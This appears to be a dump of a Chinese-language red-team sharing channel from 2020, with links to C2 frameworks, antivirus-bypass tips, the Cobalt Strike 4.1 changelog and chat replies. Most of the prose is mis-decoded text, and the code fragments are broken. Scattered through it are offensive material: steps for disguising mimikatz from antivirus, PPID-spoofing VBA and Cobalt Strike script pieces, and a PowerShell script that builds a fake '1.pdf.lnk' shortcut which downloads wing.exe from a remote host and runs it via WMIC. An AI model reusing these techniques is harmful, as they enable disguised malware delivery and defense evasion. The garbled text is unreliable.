
#Tools#  #c2#  
GitHub+-+p3nt4/Nuages:+A+modular+C2+framework

#Bypass Waf#  
imgຽᓋᤩೝ౼҅srcԞᤩᐬྊԧ҅
ڊ຅᭜ݸ๋

GitHub+-+hakluke/hakrawler:+Simple,+fast+web+crawl...

#RedTeam#  

ATT&CKධڋᜏ๞ጱᑀ਍۸

#ٖᗑႽ᭐#  

ਫ౴Ӿٖᗑᑯ᭐ጱ಑ဩ

#Tricks#  

acCOMplice/masterkeys.csv+at+master+·+nccgroup/acC...

ྯ෭Ӟӻᕁᴚದૣ (2020.1.9)
Քॠ፡ک຤ӻ໏๜҅உํ఺௏ጱฎ՜ጱᛔۖސӧฎ᭗ᬦڥአᛔۖސ෈կ४౲ᘏဳٙᤒզ݊ᦇښձ݄ۓਫᤈ҅ᘒฎ᭗ᬦץද word ෈կጱۖސፓ୯ (% APPdata%\Microsoft\Word\STARTUP) ӾႲے *.wll ෈կ҅୮ word ෈կۖސጱ෸ٌײտ᧣አ rundll32.exe ے
᫹ᬯӻ *.wll ෈կ҅ইӥֺࢶৼಅᐏ҅ᧆොဩݢአԭ win զӥଃํ word ጱ office Ԇ๢

Wing: ๶ᛔ crazyman

#RedTeam#  
ᕁᴚᦓ᷌ҁ݌ᣪ෤҂ғ
࿜ࣗධڋጱḾ௏᪠ҁ෫्xssԏᓞҘ҂
ධᴠ੒ಯጱ௏᪠
EDRग़ᖌଶ੒ಯ
፥ਫሾहጱᢸᗐ
๢&ऒ๦ᴴᖌ೮ܔ
ٖᗑཞݻᑏۖکବฎᎸᑪՋԍҘ

RedTeaming - 2020-01-06 

RedTeaming - 2020-01-06 

RedTeaming - 2020-01-06 

RedTeaming - 2020-01-06 

RedTeaming - 2020-01-08 

RedTeaming - 2020-01-10 

RedTeaming - 2020-01-12 

https://github.com/p3nt4/Nuages
https://github.com/hakluke/hakrawler
https://mp.weixin.qq.com/s/UITOiXwpETDZn2UvG9ChvA
https://mp.weixin.qq.com/s/BuqXDaKuakgBhG_MpvOkjA
https://github.com/nccgroup/acCOMplice/blob/master/masterkeys.csv


තᵞ௳מԆ๢ጱܔ
ऒٖמ௳තᵞ
ᤩۖ឴ٖݐᗑڂഝ
ᔜٵਧ֖಑ڋ
RedTeamerጱ๚๶
RedTeamྎ۸࢏

#Tools#  
භఽ෈կ൤ᵞ
භఽ෈կ൤ᵞ+|+᭲៞ગᇙ༏'s+Blog

#Ⴝ᭐ၥᦶ#  
javaᒊႽ᭐ၥᦶ
T00LS+|+֗᧣࿢ݎ઀+-+ᄟஞԟਞق

ᑇ৏ា: ဌํݪݺᨴݩ

!

Wing: ತӞӻ԰ᘶᗑᄋ၏൉Ի੪ᤈ̶౯ᦕ஑౯य़Ӟጱ෸ײฎᎌԻԧਂؙ xss, ӞፗൾṺکሿ̶ࣁ
ᑇ৏ា: অጱᨀᨀ╰(*´Ƙ`*)╯

#Bypass AV#  
ᮎԶshellcodeع๤௛ᕮ
T00LS+|+֗᧣࿢ݎ઀+-+ᄟஞԟਞق

#BypassAV#  
Ⴝ᭐C2ૡٍݸ
GitHub+-+bats3c/shad0w:+A+post+exploitation+framew...

RedTeaming - 2020-01-18 

RedTeaming - 2020-01-21 

tricks
ձ఺෈կ᧛ݐጱႮଶڥአ+–+Neurohazard  

RedTeaming - 2020-01-21 

RedTeaming - 2020-02-08 

RedTeaming - 2020-06-17 

https://daolgts.github.io/2019/03/08/%E6%95%8F%E6%84%9F%E6%96%87%E4%BB%B6%E6%90%9C%E9%9B%86/
https://www.t00ls.net/thread-54727-1-1.html
https://www.t00ls.net/thread-54949-1-1.html
https://github.com/bats3c/shad0w
http://wp.blkstone.me/2018/06/abusing-arbitrary-file-read/


#ޞل#  
૶๕ᬯ᯾ጱੜվ֎᮷ଉ൉ᳯړ޾Ձ҅ݎ૲Ԇ᷌ጱ෸ੱײᰁአ౯ୌᒈጱ10ӻຽᓋӾጱӞӻ҅ො׎ෆቘ୭ᔄ҅᫨ݎ᱾ള޾෈ᒍጱ෸ײӞਧᥝՕᕨ෈ᒍ౲ᘏૡٍጱԆᥝٖ਻౲ۑᚆ҅ํՋԍୌᦓཻᬨኸ᥺̶

#BypassAV#  
CSཞݻጱ෸ک᭬ײAV޽ෆҘ
̶ݢܨ๤ጱֵ҅አResourceKitๅදܻ๶ጱtemplateع෸CSֵአጱpsᚕ๜ฎӧݻԅཞࢩ
Making+AMSI+Jump+-+Offensive+Defence
CobaltStrike-Toolset/Kits/ResourceKit+at+master+·+...

#BypassAV#  
exeጱᶉாع๤ྲ᫾ᓌ҅ܔpowershellጱᦾԞݢզ᭗ᬦਧ֖ᇙ஄҅ץදᇙ஄҅ᕰᬦ๤᫫̶
GitHub+-+RythmStick/AMSITrigger:+The+Hunt+for+Mali...
​຤ӻڍහᤩ๤ԧ҅ಋۖႰႝզӥ̶ݢܨ౯మమ҅অپڹ؟ॠํᓤՕᕨpwshᓌܔႰႝጱ̶
̶̶̶̶

RedTeaming - 2020-06-17 

RedTeaming - 2020-06-17 

RedTeaming - 2020-06-17 

https://offensivedefence.co.uk/posts/making-amsi-jump/
https://github.com/QAX-A-Team/CobaltStrike-Toolset/tree/master/Kits/ResourceKit
https://github.com/RythmStick/AMSITrigger


̶̶̶̶
̶̶̶̶
I find itѺ

PowerShell޸եႰႝṛᕆ੒ಯ
APTጱ௏ᘍ:+PowerShell޸եႰႝṛᕆ੒ಯ

Wing: ٟ෈ᒍӧᥝአՋԍ APT xxx ୏१̶ᴻᶋ֦፥ጱํፘىᕪḵ̶

#๦ᴴᖌ೮#  
IISཛྷࣘݸᳪ

echoၥᦶ
ፓ୯ڜ
᧛ٟ෈կ 
ଃࢧดಗᤈ޸ե
ӧଃࢧด෫ᒵஇಗᤈ޸ե
ಗᤈshellcode

T00LS+|+֗᧣࿢ݎ઀+-+ᄟஞԟਞق

#ᕁᴚྎ۸࢏୏ݎ#  
ಷᗑᰜṺᛔ૩ӧड़ᕡஞ҅զԅဌဉፋ༄ၥ҅ᕮຎ੪ฎํ……
ဉፋᕰᬦጱդᎱਫሿ

anti-sandbox/README.md+at+master+·+ZanderChang/ant...

#ਞق୏ݎ#  
ਞق୏ݎጱdemoཻ҅ࡅ؉୏ݎጱ૵ؓԞݢզग़Իၞӥ̶

ከොਞق୏რᶱፓႴܔ

#Ⴝ᭐चᏐ#  
෫ࢧดጱఘ٭ӥፖٟshell

powershell 
f = -Join( f

bash
// ᬰفtest.htmlጱ໑ፓ୯ଚಗᤈid޸եٟ1ف.txt
cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo id  > 1.txt

Java+ݍଧࢧ۸ڜดጱग़ᐿ঵۠+–+Y4erጱܗਮ

RedTeaming - 2020-06-17 

RedTeaming - 2020-06-18 

RedTeaming - 2020-06-18 

RedTeaming - 2020-06-18 

https://mp.weixin.qq.com/s?__biz=MzIwODIxMjc4MQ==&mid=2651004599&idx=1&sn=fce641cae5049ad5d26c04c6cecb569f&chksm=8cf138f5bb86b1e3f8b6460ec4c4ea3e29ec7cf083dd851fc911dca813c031583b61d20a9c01&mpshare=1&scene=24&srcid=&sharer_sharetime=1591249092790&sharer_shareid=3c75bd36c2ee6f4b35a34b686653e6ac#rd
https://www.t00ls.net/thread-56775-1-1.html
https://github.com/ZanderChang/anti-sandbox/blob/master/README.md
https://mp.weixin.qq.com/s/FS8JVnZqqXw1M9czyeF8dw
https://y4er.com/post/java-deserialization-echo/


#Ⴝ᭐चᏐ#  
෫ࢧดጱఘ٭ӥፖٟshell

powershell 
f = -Join( f

bash
// ᬰفtest.htmlጱ໑ፓ୯ଚಗᤈid޸եٟ1ف.txt
cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo id  > 1.txt

Java+ݍଧࢧ۸ڜดጱग़ᐿ঵۠+–+Y4erጱܗਮ

#ጮےἓڥአ# #๤ع#   
አcٟӞӻdllے᫹੪ᤈ҅౯๋ᬪဌ෸ᳵ҅[ᵙᬦ]

Bring+your+own+.NET+Core+Garbage+Collector+|+Conte...

RedTeaming - 2020-06-18 

RedTeaming - 2020-06-20 

https://y4er.com/post/java-deserialization-echo/
https://www.contextis.com/en/blog/bring-your-own-.net-core-garbage-collector


#Ⴝ᭐ದૣ#  
ᥴੂrdpᬳളጱੂᎱ҅ྋଉఘ٭ӥአ "੪ݢզ҅౲ᘏGhostpackૡٍ۱୮ӾጱSharpdpapi
ጱRDPੂᎱਂכࣈ๜࢏૪ഴ๢ݐ឴

RedTeaming - 2020-06-21 

https://mp.weixin.qq.com/s/2oIabZAk3EMaFI4M6MPhtw


#Ⴝ᭐ದૣ#  
ldapဳܻفቘӨڥአ

LDAPဳففᳪ਍ԟ೰ܖ+-+ԯ+ᐒ܄+-+ᚸᦔԯ

#ᕁᴚྎ۸࢏ૡٍ#  
ᬱᑕ᫨ؙٖਂک๜ࣈᥴੂ

GitHub+-+FSecureLABS/physmem2profit:+Physmem2profi...

mimikatzᓌعܔ๤ಋဩғ

1̵๊ഘಅํ෈կٖ਻Ӿጱmimikatz̵ҦIMIKATZ
2̵ਖ਼mimikatz෈կݷᬰᤈ๊ഘ
ຽࢶදrc෈կӨicoץ3̵
4̵ֵአhead޸եਧ֖භఽ᦯֖ᗝ̴head -c 10000 sss.exe > xxx.exe
๤ັވ፡ฎݸභఽ᦯҅ग़ԅMimi̵kiwiandreg̵wdigest̵base64̵multirdp̵logonpassword̵sekurlsa̵҅ᆐݸදץ5̵
6̵ෛୌdef෈կ҅ๅද੕فᤒ̶ֵአdef෈կๅද੕فᤒጱᒧ҅ݩᆐֵݸአdumpbin(vsᛔଃ)ኞ౮lib෈կ҅ᆐݸ᯿ෛᖫᦲ̶ݢܨ

#Mimikatz#  #Redteam#

᤼ᤓߵ: head ړᇙ஄Ꮁॡ፥ਫԧ҅ԏڹአᬦݸེ҅پ๶፥ጱฎ virtest ፥ḕ
lengyi: ٌਫ੪ᓒਧ֖҅Ԟ੪ฎᮎپӻىᲫਁ҅Ԇᥝᬮฎ๋ݸӞྍ๋҅ݸӞྍᰒ੒ windows defenderٌ҅՜ጱ෫ಅ᧲
᤼ᤓߵ: wd ၥᦶጱ෸ײӞਧىᳮ໏๜Ӥփ҅mimi ᬦ wd ᬮ፥ဌ݄ဳ఺ᬦ҅Ḙᬦ wd ஑ᶌړᐶ
᤼ᤓߵ: ᘉզٟڹጱӳᥜತکԧ҅ᶉாᇙ஄Ԟݢզᬦ wd ҅ӧᬦ wd edp ӧᤈ҅ᮎӻᘶᗑັ๤ॡᇍ᭧҅ᤈԅԞฎ҅ํᅩᳯ᷌੪ಚӞٖ᭭ਂ
lengyi: Wd ླᒌฎங᫫ᛔ૩ਹጱӳᥜ҅ݱොᶎ୩ጱӞಢ̶
lengyi: ړᐶع๤ጱᏟౌౌጱ౮ԧԆၞ҅
lengyi: ӧᬦ൉ۑݐᚆጱොဩꂁঅጱ҅ݝ൉ੂݐᎱ҅ᬯ໏ع๤੪਻ฃԧᦜग़
L: ๋ᓌܔጱᬮฎ icon දӞӥ҅VMP ےӻॎৼ

#ᕁᴚྎ۸࢏Ꮈݎ#  
CSTIPSᔮڜ,ᭇݳෛᘌአಁᥡ፡.౯਍ԟද᭜ӥٚړՁӥஞ஑. 
https://www.bilibili.com/video/BV1yz411i71Z?p=2 [ঃᒞ]

RedTeaming - 2020-06-22 

Ⴝ᭐ૡٍ 
 ᳪ̶ݸຉӥ҅಑୏ಋۖ൤Ӟӥํဌํړጱ҅ํ෸ᳵٚݎᡦ೙๢ᬩᤈӞӥ҅ᗭ᯾ض

RedTeaming - 2020-06-22 

RedTeaming - 2020-06-24 

RedTeaming - 2020-06-24 

RedTeaming - 2020-06-24 

RedTeaming - 2020-06-24 

https://cloud.tencent.com/developer/article/1584896
https://github.com/FSecureLABS/physmem2profit
https://www.bilibili.com/video/BV1yz411i71Z?p=2


വᇙپӻํىᕁᴚጱവ 
@anthomsec
@FuzzySec
@subTee
@Hexacorn
@R3dF09
@ptracesecurity
@TheHackersNews
@0xffff0800
@campuscodi
@Pwsecspirit
@CyberRaiju
@424f424f

#CSTips#  #CSൊկ୏ݎ#  
QAXጱ๏݈݋ๅෛԧᬯሻ఺.᪜ଘݣӤᕚ
GitHub+-+gloxec/CrossC2:+generate+CobaltStrike's+c...

#CSTips#  
cobaltstrikeๅෛ4.1҅کीےইӥۑᚆ̶

RedTeaming - 2020-06-24 

RedTeaming - 2020-06-25 

https://github.com/gloxec/CrossC2


June 25, 2020 - Cobalt Strike 4.1
-------------
+ Fixed &listener_delete
+ Implemented sub-system to run Beacon Object Files. A BOF is a compiled C
program that executes within Beacon and can call Win32 and Beacon APIs
+ Ported 4.0's inline-execute capabilities to BOFs
+ Fixed logic flaw in getsystem
+ Added inline-execute command to run arbitrary BOFs
+ Moved dllload, reg query/queryv, and timestomp to BOFs
+ Added option to bootstrap Beacon in-memory without walking kernel32 EAT
- Artifact Kit and PowerShell (Resource Kit) artifacts use this option
- Added &payload_bootstrap_hint to apply this option to other artifacts
- Added -hasbootstraphint to check if this option applies to a payload
- set stage -> smartinject to true to enable this behavior.
- Removed option to generate x64 DLL that spawns an x86 payload in new process
+ Simplified the Artifact Kit by removing artifacts for deprecated features
+ Extended Beacon metadata with more info such as Windows build number and key 
function pointers used to bootstrap agent.
+ spawn, spawnas, spawnu, inject, and elevate uac-token-duplication now inherit 
pointers from same-arch target Beacon session metadata when stage -> 
smartinject is enabled.
+ Added &payload_local to generate shellcode with key bootstrap function
pointers inherited from a parent Beacon session.
+ Added set ssh_banner "..." to change SSH client info for Beacon's SSH command
+ Simplifed the heartbeat portion of SMB and TCP Beacon protocols
+ Added smb_frame_header and tcp_frame_header Malleable C2 options to shape the
content and size of the length frames in these communication protocols
+ Fixed bug that has localhost-only TCP Beacon bind to 0.0.0.0 after first unlink.
+ Multiple updates to SSH agent to keep pace with Beacon protocol changes
+ Split extc2 Beacon into its own DLL (as extc2 protocol is now diverged from 
the SMB Beacon protocol due to changes made in this release).
+ Several security descriptor changes in ExtC2, SMB Beacon, and SSH agent
+ jump psexec* now uses UNC path with target instead of 127.0.0.1 to reference
uploaded file on target.
+ Added right-click menu to show/hide unlinked nodes in pivot graph.
+ Added &unbind to unbind keyboard shortcuts (to include Cobalt Strike built-ins)
+ Added exe option to Scripted Web Delivery. Generates and hosts EXE at URL.
+ Added [note] field to logs to call out note changes made to session
+ Added scriptable popup hook for 'listeners' (View -> Listeners table)
+ Added "*" meta-column to table Ctrl+F feature. Searches all columns at once
+ Removed a few (not searchable) columns from table Ctrl+F feature
+ Added web server port to View -> Web Log output
+ Fixed a PE parser bug
+ execute-assembly's "are you an assembly" check uses a better check.
+ Updated to Mimikatz 2.2.0 20200519
+ Editing listener no longer removes its color accent.
+ Fixed off-by-1 error in c2lint's useragent length check.
+ sleep_mask now uses a slightly larger mask
+ Fixed DNS staging regression when dns_stager_subhost is set.
+ Fixed inconsistent stager pipe bug in &stager_bind_pipe and &beacon_stage_pipe.
+ Made getuid a little bit more robust
+ Console directed messages now scrub ESC character.
+ Added an exit hint parameter to &payload function (thread or process)

------------



#Ⴝ᭐ૡٍ୏ݎ#  
ِ౮᭬کӞӻ၏੪ٟӞӻjio๜ጱԟబ҅ྎ࢏ପӧ੪ӿ੄᩸๶ԧҘ

#CSൊկ୏ݎ#  #CSTips#  
.ՁӞӻCSൊկ۱(Kit),౯ᛔ૩දԧӞӥړ

GitHub+-+josephkingstone/cobalt_strike_extension_k...

RedTeaming - 2020-06-25 

RedTeaming - 2020-06-26 

https://github.com/josephkingstone/cobalt_strike_extension_kit


#๤ع#  
᭗ᬦಗᤈxmlጱොୗ๶dump,ଫᧆฎӧ๤ጱ,ౡ஑ٚၥᦶԧ.

Wing: [MSBuild:+A+Profitable+Sidekick!+|+TrustedSec](https://www.trustedsec.com/blog/msbuild-a-profitable-sidekick/)
᤼ᤓߵ: ፡ԧӥդᎱٌ҅ਫፘ୮Өڥአጱ xml ጱ PEloader ے᫹ dump ԧᬰᑕݸፗളᬩᤈ mimikatz ᥴ̶flagғํ෸ᳵᦶᦶᛔ૩ਫሿӥ

RedTeaming - 2020-06-26 



#๤ع#  
.NetCore ጮܔݷᕰᬦ,֕ฎኞ౮ጱdllইຎ۱ތcsጱpayload.੪տᤩ๤.ᬦӧԧᅉᕭ,ᚆᬦ360.
Abusing+.NET+Core+–+Evasion+|+Pentest+Laboratories

᤼ᤓߵ: ᬦӧԧᅉᕭጱܻࢩय़༷ሲฎ՜ᇙ஄Ꮁਧک CreateRemoteThread ԧ̶̶̶ᦶᦶےॎ൥ӥ
lengyi: ᅉᕭ == ᇙ஄Ꮁ๤ྰ
᤼ᤓ360 :ߵ== ෈կ md5 ๤ྰ

ᘌߵժํ᭬کᬦᬱᑕᦇᓒ๢෫ဩ logoff ጱఘ٭ԍҘps ᬦ݄Ԟ෫ဩ᯿ސᦇᓒ๢տ҅ᘒӬտڊሿ The interface is known ጱಸᲙ̶य़ਹํՋԍঅጱᥴ٬ොဩԍҘ

#ᕁᴚದૣ#  
PPID Spoofing:
ᆿᬰᑕྂḼڥአᬦᑕ,ྋଉఘ٭ӥ:ྲই֦᭗ᬦword಑୏ԧcmd,ᮎԍcmdฎࣁwordᬯӻᬰᑕӥ,֕ฎCreateProcessAᬯӻڍහጱlpStartupInfo݇හݢզ೰ਧpid.੕ᛘԧᬯӻ඙֢ጱ୵౮.

অ॒ฎޫࠨ,lsassฎsystemጱᦾ,ፗള൉๦ԧ.

vbaፘڥىአ:
Sub Parent()

Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "pentestlab.exe",Null,"C:\Temp",Null,0

End Sub

com੒᨝ڠୌጱᬯӻᬰᑕฎࣁexploreӥᶎ,ᥝమ༄ၥ,੪ᥝአԪկ᪙᪵࢏.

cobaltstrikeڥአൊկ
#
# Autoppid - script that smartely invokes PPID for every new checkin in Beacon. 
# PPID command requires invoked Beacon to have the same Integrity level as the process it want's
# to assume as it's Parent. That's due to how InitializeProcThreadAttributeList with 
# PROC_THREAD_ATTRIBUTE_PARENT_PROCESS works. In order to avoid harcoded explorer.exe PID assumption,
# we can look around for a configurable process name and then try to find that process running
# on the highest available for us integrity level. In that case, unprivileged user would assume PPID
# of for instance svchost.exe running as that user, wherease the privileged one - could go for the
# svchost.exe running as NT AUTHORITY\SYSTEM. We aim to smartely pick the most advantageous target,
# in a dynamic fashion.
#
# The script also includes alias registration.
#
# Author: Mariusz B. / mgeeky, '20
# 
#

# Set desirable process name which you want to become your parent. This process will be used for
# parent PID spoofing and thus should be allowed for opening for your current process token. 

RedTeaming - 2020-06-26 

RedTeaming - 2020-06-26 

RedTeaming - 2020-06-26 

https://pentestlaboratories.com/2020/06/23/abusing-net-core-application-whitelisting/


PARENT_PROCESS_NAME )",
"Automatically finds suitable - according to the current user context - PPID and sets it (target: _bid _processName _bid = _callback = 

_processName = _userName = binfo( _userName, 2) eq ' *') {
_userName, 0, strlen( _bid, lambda({

local(' entry pid arch entry (split("\n", 

bid => callback => userName => processName => processName params');
0) > strlen("autoppid ")) {

0, strlen("autoppid "));
}

PARENT_PROCESS_NAME;
1, "user");

if (right(

params), 1, "autoppid", "");
}

on beacon_error {
local(' err');

if ( ppid, err == 87) {
blog2( 1, "autoppid", "quiet");
}
else if(

1, "\c8 Repeat your last command as it failed.\o");
}
}

݇ᘍ෈໩
Parent+Process+ID+(PPID)+Spoofing+-+Red+Teaming+Ex...
Parent+PID+Spoofing+|+Penetration+Testing+Lab
:አૡٍڥ
GitHub+-+hlldz/APC-PPID:+Adds+a+user-mode+asynchro...
GitHub+-+ewilded/PPID_spoof:+An+example+of+how+to+...
GitHub+-+sud01oo/ProcessInjection:+Some+ways+to+in...
౯ጱdemo

PARENT_PROCESS_NAME )");<br><br>sub findSuitableParentPID {<br>    local('

_userName) - 2);<br>    }<br><br>    bps(

2)) {<br>            (\)name, \(ppid, \)pid, \(arch, \)user) = split("\s+", \(entry);<br><br>            # "NT AUTHORITY" contains space, thus breaking our split results. Here's a workaround for that<br>            if(\)user eq "NT") {                 \(user = substr(\)entry, indexOf(\(entry, "NT "));<br>                \)tab = indexOf(\(user, "\t");<br>                if (\)tab) {                     \(user = substr(\)user, 0, \(tab);<br>                }<br>            }<br><br>            if ((\)pid) && (\(name eq \)processName)) {                 if(\(user) {<br>                    if( (\)userName isin \(user) || (\)user isin \(userName) ) {<br>                        [\)callback : \(bid, \)pid, "\t" . \(entry];<br>                        break;<br>                    }<br>                }<br>            }<br>        }<br>    },
_processName));<br>}<br><br>alias autoppid {<br>    local('

processName);<br>}<br><br>on beacon_initial {<br>    # Parent PID spoofing<br>    fireAlias(

2 ismatch 'Could not set PPID to (\d+): (\d+)' ) {<br>        (

https://ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing
https://pentestlab.blog/2020/02/24/parent-pid-spoofing/
https://github.com/hlldz/APC-PPID
https://github.com/ewilded/PPID_spoof
https://github.com/sud01oo/ProcessInjection


Wing: 

Ք෭Ḿ඙֢ғicoӥ᫹exe
Using+Shell+Links+as+zero-touch+downloaders+and+to...

᤼ᤓߵ: Ք෭๋֯ܡབ
crazyman: ํᅩ఺௏  ӧᬦᬯᥝ੒ፓຽ๢࢏ጱᭇᯈ௔ᑖங૧ᅩ

MSBUILD WITHOUT MSBUILD
msbuild.exeӞፗฎᕁᴚᤈۖӾLOLBINጱਬد,ᘒᵋ፳ਞقૡٍ੒ٌीےๅग़ጱ༄ၥᥢڞ,ᧆጮܔݷᒽኼ᭑Ⴙᵅف"ՈՈ࠾಑"ጱੴᶎӾ,ӥᓤ෈ᒍਖ਼ᦖکই֢֜ګӞӻંԭᛔ૩ጱMsbuild

https://pentestlaboratories.com/2020/01/27/msbuild...

GitHub+-+rvrsh3ll/MSBuildAPICaller:+MSBuild+Withou...

Ⴝ᭐tips---->ๅෛ֦ጱinvoke-mimikatz #Ⴝ᭐ದૣ#  

Ⴝ᭐tips---->ๅෛ֦ጱinvoke-mimikatz

Ⴝ᭐tips---->ๅෛ֦ጱinvoke-mimikatz #Ⴝ᭐ದૣ#  

Ⴝ᭐tips---->ๅෛ֦ጱinvoke-mimikatz

C# PEloaderے᫹mimikatz(ๅෛӞӻෛጱ xml mimikatz)
፡य़֬ํړՁInvoke mimikatz҅੪ݎӞӻԏٟڹጱxmlጱ̶މ
ᬦᑕ֢ګ
http://www.8sec.cc/index.php/archives/358/
123qsdaxc
౮ߝӥ᫹
http://myblogimages.oss-cn-beijing.aliyuncs.com/so...

#๤ع#  #Ⴝ᭐ದૣ#

RedTeaming - 2020-06-26 
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RedTeaming - 2020-06-27 

https://isc.sans.edu/forums/diary/Using+Shell+Links+as+zerotouch+downloaders+and+to+initiate+network+connections/26276/
https://pentestlaboratories.com/2020/01/27/msbuild-without-msbuild/
https://github.com/rvrsh3ll/MSBuildAPICaller
https://mp.weixin.qq.com/s/Fp1P3-O-Q6or_or0HEJGRw
https://mp.weixin.qq.com/s/Fp1P3-O-Q6or_or0HEJGRw
http://www.8sec.cc/index.php/archives/358/
http://myblogimages.oss-cn-beijing.aliyuncs.com/soft/mimikatz.xml


lengyi: ୮෸౯ၥᦶጱ෸ײᬮᚆፗളᬦ 360 ጱ҅ݢఠሿࣁӧᤈԧ̶̶
᤼ᤓߵ: ౯ࣁၥጱ෸ײ౯ᦕ஑ᬮᤈࠡ
᤼ᤓߵ: ౯ࣁᦶᦶ݄
lengyi: ӧӧӧ҅౯ݝአԧ PE ے᫹҅ဌํአ֦ݸᶎጱොဩ
᤼ᤓߵ: ߶߶҅ጮےܔݷ᫹ଫᧆӧտ

#ᕁᴚྎ۸࢏Ꮈݎ# #๤ع#   
ฌॠLݎጱlnkᰜṺጱع๤ᇇ๜҅ᡦ೙๢ၥᦶᬦᅉᕭ360҅޾ӥེԣvpsၥᦶ҅ᡦ೙๢ӧٵᏟ̶

LNKᰜṺධڋ_߬߹߬߹ (Ϋ-Ϋ)ͺϺ ଗ๻~-bilibili

crazyman: ݢզٚᦡᗝӞӥ๋ੜ۸ᬯ໏ๅٺے੝ᤩݎሿپሲ
᤼ᤓߵ: ᬯ੪ฎ pilipili ހҘᆽԧᆽԧ
Wing: #param ( [string]$SourceExe, [string]$ArgumentsToSourceExe, [string]$DestinationPath )##
$shortcutName = "1.pdf.lnk"
$TargetPath = "C:\Windows\System32\wbem\WMIC.exe"
$IconLocation= "[http://192.168.123.22:8080/wing.exe?.ico"](http://192.168.123.22:8080/wing.exe?.ico")
$shortcutOutputPath = "$Home\Desktop\Csharp\"+$shortcutName
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($shortcutOutputPath)
$Shortcut.TargetPath = $TargetPath<br>$Shortcut.WindowStyle = 1
$Shortcut.Arguments = ' process call "create" /"%USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache\wing.exe "'
$shortcut.IconLocation = $IconLocation
$Shortcut.Save()<br><br>ࡋጱ$Shortcut.WindowStyle = 1ᬯ᯾ӧᎣ᭲ᦡᗝ౮پ಍ฎ๋ੜ۸ᬩᤈ҅012345᮷ᦶԧ̶
crazyman: ݶ෸ ᬯӻොୗӧॡᭇ݄ݳኞ౮෈໩ࢶᇆᒵጱ᧑᷺෈໩ ࢩԅ֦ӧᎣ᭲੒ො๢࢏Ӥጱሾह ಅզଫᧆ᯻አ։ᤰ౮ᑕଧਞᤰ۱ጱࢶຽ౮پۑሲտๅय़

#൉๦#  
ᬯฎӞӻᗑᕶ๐ۓ൉๦ጱૡ̶ٍ
ᆐݸ᧔Ӟӥ๜ࣈLocal System/Network Service/Local Serviceጱٖ҅ڦ܄਻๶რԭ51cto
1.Local System (๜ࣈᔮᕹ)ғ
ᧆᨴಁٍํፘ୮ṛጱ๦ᴴ̶
Ḓ҅ضᧆᨴಁԞᵕંԭ๜ࣈAdministrators አಁᕟ҅ࢩྌಅํ๜ࣈAdministratorsአಁᚆड़ᬰᤈጱ඙֢ᧆᨴಁԞᚆड़ᬰᤈ҅
ٌེ҅ᧆᨴಁᬮᚆड़ഴګ෈կጱ๦ᴴҁNTFS ෈կᔮᕹ҂ٙဳ޾ᤒ๦ᴴ҅ኜᛗܛഝಅํᘏ๦ᴴ๶ݐ஑ᦢᳯᩒ໒̶
ইຎ๢॒࢏ԭऒӾ҅ᮎԍᬩᤈԭLocal System ᨴಁӥጱ๐ۓᬮݢզֵአ๢࢏ᨴಁݶࣁӞӻ༏຋Ӿ஑ٌک՜๢࢏ጱᛔۖᦊᦤ҅
ԆᥝํғWindowsUpdate Client̵ Clipbook̵Com+̵DHCP Client̵MessengerۓӞᅩ੪ฎᬩᤈԭLocal System ӥጱᬰᑕᚆड़ֵአᑮտᦾҁnull session҂݄ᦢᳯᗑᕶᩒრ̶Ԉֺ๶᧔҅զLocalSystemᨴಁᬩᤈጱ๐ݸ๋
Service̵Task Scheduler̵Server Service̵Workstation Service҅ᬮํWindows Installer̶
2.Network Service(ᗑᕶ๐ۓ)ғ
ᧆᨴಁԞฎԅԧֵአ๢࢏ᨴಁࣁᗑᕶӤጱٌ՜ᦇᓒ๢Ӥᦊᦤᘒᦡਧጱ̶֕ฎ՜ဌํLocal System ᮎԍग़ጱ๦ᴴ̶
ਙᚆड़զᦇᓒ๢ጱݷԎᦢᳯᗑᕶᩒრ̶զᬯӻᨴಁᬩᤈጱ๐ۓտ໑ഝਫᴬሾह಩ᦢᳯڂഝ൉Իᕳᬱᑕጱᦇᓒ๢̶
ᬩᤈԭྌᨴಁӥጱᬰᑕֵአᗑᕶᨴಁᯈᗝ෈կHKEY_USERS\S-1-5-20޾Documents and Settings\NetworkService̶
Ԉֺ๶᧔҅զNetwork Serviceᨴಁᬩᤈጱ๐ۓԆᥝํғDistributed Transaction Coordinator̵DNS Client̵
Performance Logs and Alerts҅ᬮํRPC Locator̶

3.Local Service(๜ࣈ๐ۓ)ғ
Local Serviceᨴಁฎᶼᦡጱ೜ํ๋ੜ๦ᴴጱ๜ࣈᨴಁ҅ଚࣁᗑᕶڂᦤӾٍํݷ܇ጱ᫝ղ̶
ᬩᤈԭྌᨴಁӥጱᬰᑕ޾ᬩᤈԭNetwork Service ᨴಁӥጱᬰᑕጱڦ܄
ᦢᳯጱᗑᕶᩒრ̶ݷ܇ᚆᦢᳯ꧋ᦜݝԭᬩᤈԭLocal Service ᨴಁӥጱᬰᑕࣁ
ᬩᤈԭLocal Service ӥጱᨴಁֵአጱᯈᗝ෈կฎHKU\S-1-5-19 ޾Documents and Settings\LocalService̶
Ԉֺ๶᧔҅զLocal Serviceᨴಁᬩᤈጱ๐ۓԆᥝํғAlerter̵Remote Registry̵Smart Card̵SSDP҅ᬮํWebClient̶
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https://b23.tv/nChcPS


ဳ఺ғ
ᭌೠ Local System (๜ࣈᔮᕹ) ֵ҅አἕᦊᒒݗғ1433෸҅ᬳളහഝପݢզአғ.҅ҁlocal҂҅localhost҅127.0.0.1ᒵ̶
ᭌೠ Network Service(ᗑᕶ๐ۓ) ҅෫ᦞฎֵވአἕᦊᒒݗғ1433҅ᬳളහഝପғ.҅ҁlocal҂ӧݢአ҅localhost҅127.0.0.1ᒵݸᶎ᮷ᥝےᒒݩݗ“,ᒒݩݗ”̶

GitHub+-+realoriginal/bof-NetworkServiceEscalate:+...

Wing: ᬯ෈ᒍఽᥧฎ๢࢏ᘉᦲጱ̶Კ̶ਁڦ

#ૡٍದૣ#  
burpܲݥᦕ୯passധӧ஠ᥝጱऒݷ
Burp Suite > Proxy > Options > TLS Pass Through.
Add these:
..google.com 
..gstatic.com
..mozilla.com
..googleapis.com
.*.baidu.com
com

#ᕁᴚದૣ#  
